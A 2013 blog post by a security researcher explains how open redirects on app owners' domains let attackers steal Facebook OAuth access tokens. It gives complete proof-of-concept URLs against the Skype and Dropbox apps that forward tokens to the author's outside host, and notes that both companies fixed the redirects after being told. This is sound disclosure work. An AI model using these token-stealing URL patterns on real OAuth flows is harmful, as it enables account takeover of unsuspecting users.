3 April 2013
Category: Uncategorized
3 April 2013,
 10

For starters, I want to reiterate that I have finished my tenure with Bug Bounty Programs, but, as promised, I will continue to publish posts for the community.

I have also opened my own Application Security Company called Break Security which can be found at http://www.breaksec.com

Now, let’s turn our attention to the Unfix bug in Facebook OAuth. I like this bug particularly because Facebook is not responsible for fixing it. Instead, the owner application within Facebook is responsible for the repair.

This bug is particularly “scary” in that it’s quite easy for it to be exploited and for Facebook users to be attacked. In my earlier posts regarding Facebook OAuth, I talked a lot about hacking a Facebook account even without the user installing an application on their account. I also delved into the ways of bypassing the regex protection in Facebook OAuth,

In addition @homakov published two month ago a great article how he hacked Facebook OAuth via Google Chrome XSS Auditor bug http://goo.gl/4BCRI

In this article, I will illustrate exactly what happens when an application is installed on the victim’s account and how an attacker can manipulate it so easily.

What does happen if the victim has an installed application (e.g. Skype or Dropbox)? Can a hacker still attack Facebook users?

apps

The answer to this question is a resounding yes. The attacker only needs to find a Site redirection / XSS on the Facebook owner app domain (that is, skype.com, dropbox.com, etc.). If the owner app domain has a site redirection,

siteredirection

the attacker will then be able to steal the victim’s access_token through the use of Facebook OAuth. The hacked Facebook users must have the current permission requirement of the Facebook application.

App Permissions

Ironically, many of today’s sites suffer from site redirection vulnerabilities. The truly scary part in the Facebook OAuth is that an attacker can find a site redirection via a subdomain of the base owner app domain.

For example:

a.skype.com

b.zynga.com

Attackers can exploit that with Facebook OAuth if there is a site redirection to one of these subdomains.

Even though Google Security (http://www.google.com/about/appsecurity/reward-program/) suggests that URL redirection and/or site redirection does not constitute a vulnerability at all, I beg to differ. I am going to demonstrate how we can use a seemingly low-level vulnerability like site redirection and make it a high-level issue in Facebook OAuth.

We’re already aware of the problematic parameter in Facebook OAuth called “redirect_uri, next.” I have shown in my preview posts that it’s possible to exploit Facebook OAuth by bypassing the regex protection. Then I used a site redirection (my app) to send the access token to an external website where it was cataloged.

So, what’s the point of all this?

The attacker merely needs to locate a site redirection issue on the developer or owner’s app domain, and that’s it. They will be able to take the access_tokens of any user on Facebook who uses that particular app.

redirectionanysubdomain

Additionally, Facebook is powerless when it comes to fixing this issue. In fact, the developer or owner of the app needs to take responsibility for these flaws in order to avoid the potentially pernicious site redirection attacks.

But, hold on a second.

Is the developer able to fully protect the app domain and associated subdomains from site redirection issues? Many sites still suffer from site redirection issues. Among those are Google, Facebook, Skype, PayPal, and so on.

In any event, it’s really only a matter of time until an attacker creates an automated tool to steal the access_tokens of countless Facebook users via OAuth. This tool could feasibly allow those without any real skills to suddenly pilfer any access_token from Facebook users to gain access to their accounts.

My PoC will also show that the attacker can even gain knowledge of which application their victims are using. Now that we’re aware of the risks of Facebook OAuth, let’s delve into the PoC.

To begin with, an attacker can view the installed applications on the victim’s Facebook account via Facebook AppCenter or Ajax request:

https://www.facebook.com/ajax/browser/dialog/friends_using_app/?app_id=260273468396&__asyncDialog=2&__a=1&__req=m

whouseskype

 

I’ve chosen two applications (Skype and Dropbox) to illustrate the risks of Facebook OAuth.

 

1.

Skype:

I discovered a site redirection to “metric.skype.com.” (application provided/hosted by third party Adobe Omniture), It only took me about 5 minutes to find that. We know that many apps enable us to use subdomains using the “redirect_uri, next” parameter in Facebook OAuth.

That is largely because, if the owner of the Facebook app uses the domain (in this case, skype.com)

appsettings

then the attacker can use any valid subdomain of skype.com.

For example:

a.skype.com

b.skype.com

etc.

This can be subverted only if the owner app domain uses a specific subdomain in the app settings (e.g. x.skype.com). In that case, the attacker can only redirect users to x.skype.com using the “redirect_uri, next” parameter.

Most owner apps simply use their base domain name (skype.com, zynga.com) in the Facebook app settings. This allows the attacker to redirect users to any subdomain with the “redirect_uri, next” parameter.

So, does that mean that redirecting to *.skype.com allows an attacker to steal the access_token of Facebook users who use the Skype application?

The answer to that question is, of course, yes again (assuming there is a site redirection in *.skype.com).

For example:

http://metrics.skype.com/b/ss/skypeglobalmobile/5.4/REDIR/?url=http://files.nirgoldshlager.com

The attacker can easily exploit the site redirection flaw in *.skype.com using Facebook OAuth.

PoC:Steal the access_token of Facebook users who utilize the Skype application:

https://www.facebook.com/dialog/permissions.request?app_id=260273468396&display=page&next=http://metrics.skype.com/b/ss/skypeglobalmobile/5.4/REDIR/?url=http://files.nirgoldshlager.com&response_type=token&fbconnect=1

 

I gave Microsoft a heads up about the site redirection problem and all the attendant risks. They then repaired the problem.

2.

Dropbox is cool in that it’s a free service that lets users upload files immediately and easily. The really interesting thing about Dropbox, however, is that they use the “sandbox” for storing files via their own domain (dropbox.com).

This means that an attacker doesn’t really need to find an adequate site redirection in Dropbox itself. Instead, they can simply upload their own HTML file with an attached redirection code. They can then make that file public: (https://www.dropbox.com/u/68182951/redirect3.html).

dropboxuploadfile

I always caution companies against using a sandbox on their main domain (in this case, dropbox.com).

 

PoC (Steal access tokens from Dropbox Facebook users):

https://www.facebook.com/dialog/permissions.request?app_id=210019893730&display=page&next=https://www.dropbox.com/u/68182951/redirect3.html&response_type=token&perms=email&fbconnect=1

 

The next parameter redirects us to the file I uploaded using the Dropbox file upload:

 

https://www.dropbox.com/u/68182951/redirect3.html

 

After that, my HTML file (redirect3.html) located at the Dropbox domain redirects users to http://files.nirgoldshlager.com

I gave Dropbox a heads up about the site redirection problem and all the attendant risks. They then repaired the problem.

 

And?

gameover-black

 

PoC Video:

My, Egor recommendations to correct this kind of issues in Facebook Oauth:

I told Facebook to permit redirection to a single, specific domain. I also told them to block access to any subdomains, files, folders, signs (? or # , etc..) using the “redirect_uri, next” parameter.

@homakov proposes another fix for Facebook to remedy these kinds of OAuth issues:

http://homakov.blogspot.co.il/2013/03/redirecturi-is-achilles-heel-of-oauth.html

On the downside, Facebook can’t employ these fixes and the flaw in Facebook OAuth remains intact.

 

pinky_brain

Cya Next time,

By @Nirgoldshlager

10 responses on “The Unfix Bug in Facebook OAuth

  1. Nikola says:

    Awesome as always Nir! Did FB gave you bounty for that?
    P.S. Is it possible to remove “#_=_ ” from redirected url w/o removing token?

  2. unix says:

    automated attack from botnet could mean massive facebook datamining

  3. […] The Unfix Bug in Facebook OAuth – Break Security For starters, I want to reiterate that I have finished my tenure with Bug Bounty Programs, but, as promised, I will continue to publish posts for the community. I have also opened my own Application S… […]

  4. […] will be able to take the access_tokens of any user on Facebook who uses that particular app,” wrote Goldshlager on his blog. “Additionally, Facebook is powerless when it comes to fixing this issue. In fact, the developer […]

  5. Unquestionably believe that which you stated. Your favorite reason seemed to be on
    the web the simplest thing to be aware of. I say to you, I certainly get irked while people consider
    worries that they just don’t know about. You managed to hit the nail upon the top as well as defined out the whole thing without having side-effects , people could take a signal. Will probably be back to get more. Thanks

  6. Facebook says:

    Haha, I love how desperate Facebook is to fix all these OAuth errors. :D Good job!

  7. […] “The attacker merely needs to locate a site redirection issue on the developer or owner’s app domain, and that’s it. They will be able to take the access_tokens of any user on Facebook who uses that particular app,” Goldshlager wrote on his blog yesterday. […]

  8. […] частности, используя уязвимость, злоумышленники могут получить контроль над учётной […]

  9. click here says:

    click here…

    Just wish to say your short article is as amazing. The clearness in your post is merely cool and i can presume you are a specialist on this subject. Well with your authorization permit me to grab your feed to keep upgraded with forthcoming post. Thanks…

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>